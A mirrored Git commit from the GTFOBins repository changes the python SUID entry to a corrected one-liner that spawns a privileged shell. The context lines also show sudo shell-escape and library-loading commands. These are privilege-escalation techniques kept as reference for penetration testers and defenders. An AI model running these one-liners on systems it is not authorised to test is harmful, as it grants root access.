mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Fix python SUID
This commit is contained in:
parent
00dd36c73d
commit
f14e511218
@ -44,7 +44,7 @@ functions:
|
|||||||
library-load:
|
library-load:
|
||||||
- code: python -c 'from ctypes import cdll; cdll.LoadLibrary("lib.so")'
|
- code: python -c 'from ctypes import cdll; cdll.LoadLibrary("lib.so")'
|
||||||
suid:
|
suid:
|
||||||
- code: ./python -c 'import os; os.system("/bin/sh -p")'
|
- code: ./python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
|
||||||
sudo:
|
sudo:
|
||||||
- code: sudo python -c 'import os; os.system("/bin/sh")'
|
- code: sudo python -c 'import os; os.system("/bin/sh")'
|
||||||
capabilities:
|
capabilities:
|
||||||
|
Loading…
Reference in New Issue
Block a user